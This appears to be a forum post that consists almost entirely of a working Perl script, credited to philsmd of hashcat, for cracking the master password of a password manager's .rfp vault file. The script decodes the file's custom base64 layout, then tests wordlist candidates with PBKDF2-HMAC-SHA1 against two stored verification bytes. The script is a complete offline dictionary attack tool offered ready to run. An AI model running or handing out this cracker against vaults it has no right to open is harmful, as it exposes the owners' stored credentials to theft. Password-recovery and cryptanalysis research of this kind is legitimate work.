Password Manager .rfp file analysis

Code:
#!/usr/bin/env perl



# Author: philsmd

# Date: public release Oct 2018

# License: public domain with credits required for "philsmd from hashcat"



use strict;

use warnings;



use Crypt::PBKDF2;



if (scalar (@ARGV) < 2)

{

  print "Usage: perl rfpcrack.pl \"Contact Info.rfp\" dict.txt\r\n";



  exit (1);

}



my $rfp_file_name  = $ARGV[0];

my $dict_file_name = $ARGV[1];



my $fh_rfp;



if (! open ($fh_rfp, "<", $rfp_file_name))

{

  print "ERROR: Could not open the rfp file '$rfp_file_name'\r\n";



  exit (1);

}



binmode ($fh_rfp);



my $tmp_line = <$fh_rfp>;



if ($tmp_line !~ m/URL3:ver3:/)

{

  print "ERROR: Could not find the identifier 'URL3:ver3:' within the rfp file. Please double-check the file\r\n";



  exit (1);

}



$tmp_line = <$fh_rfp>; # +PROTECTED-2+



my $found = 0;



while ($tmp_line = <$fh_rfp>)

{

  if ($tmp_line eq "\r\n")

  {

    $found = 1;



    $tmp_line = <$fh_rfp>; # first important line!!!



    last;

  }

}



if (($found == 0) or length ($tmp_line) < 1)

{

  print "ERROR: The start of the encrypted data was not found\r\n";



  exit (1);

}



#

# Store the whole data part into the variable $rfp_content:

#



$tmp_line = substr ($tmp_line, 0, -2); # remove \r\n from the end



my $rfp_content = $tmp_line;



while ($tmp_line = <$fh_rfp>)

{

  $tmp_line = substr ($tmp_line, 0, -2);



  $rfp_content .= $tmp_line;

}



close ($fh_rfp);



#

# base64 decode the rfp data:

#



my $base64_decoded = "";

my $offset         = 0;

my $remainder      = 0;



for (my $i = 0; $i < length ($rfp_content); $i++)

{

  my $char = substr ($rfp_content, $i, 1);

  my $num  = ord ($char) - 0x20;  # ord ($char) should always be a 0b111111 value



  if ($offset == 0)

  {

    $remainder = $num;

    $offset   += 6;

  }

  elsif ($offset == 6)

  {

    my $n = (($num & 0x03) << 6) | $remainder;



    $base64_decoded .= chr ($n);



    $remainder = $num >> 2;

    $offset   += 6;

  }

  elsif ($offset == 12)

  {

    my $n = (($num & 0x0f) << 4) | $remainder;



    $base64_decoded .= chr ($n);



    $remainder = $num >> 4;

    $offset   += 6;

  }

  elsif ($offset == 18)

  {

    my $n = (($num & 0x3f) << 2) | $remainder;



    $base64_decoded .= chr ($n);



    $remainder = 0;

    $offset    = 0;

  }

}



if ($remainder != 0)

{

  $base64_decoded .= chr ($remainder);

}





if (length ($base64_decoded) != (8 + 2 + 10 + 1024)) # iv + pbkdf2 + checksum + data = 1044 bytes

{

  print "ERROR: Decoded data length must be 1044 bytes, but it is " . length ($base64_decoded) . "\r\n";



  exit (1);

}



my $iv        = substr ($base64_decoded,  0,  8);

my $key_bytes = substr ($base64_decoded,  8,  2);

my $checksum  = substr ($base64_decoded, 10, 10); # ignored for now

my $data      = substr ($base64_decoded, 20);     # ignored for now





my $fh_dict;



if (! open ($fh_dict, "<", $dict_file_name))

{

  print "ERROR: Could not open the dict file '$dict_file_name'\r\n";



  exit (1);

}



binmode ($fh_dict);



my $pbkdf2 = Crypt::PBKDF2->new (

  hash_class => 'HMACSHA1',

  iterations => 1000,

  output_len => 34

);



$found = 0;



while (my $pass = <$fh_dict>)

{

  chomp ($pass);



  my $key = $pbkdf2->PBKDF2 ($iv, $pass);



  if (substr ($key, 32, 2) eq $key_bytes)

  {

    print "ATTENTION: '$pass' is a good password candidate that could possibly decrypt the file (continue checking because of collisions)\r\n";



    $found = 1; # we continue, because we could have a collision

  }

}



if ($found == 1)

{

  exit (0);

}

exit (1);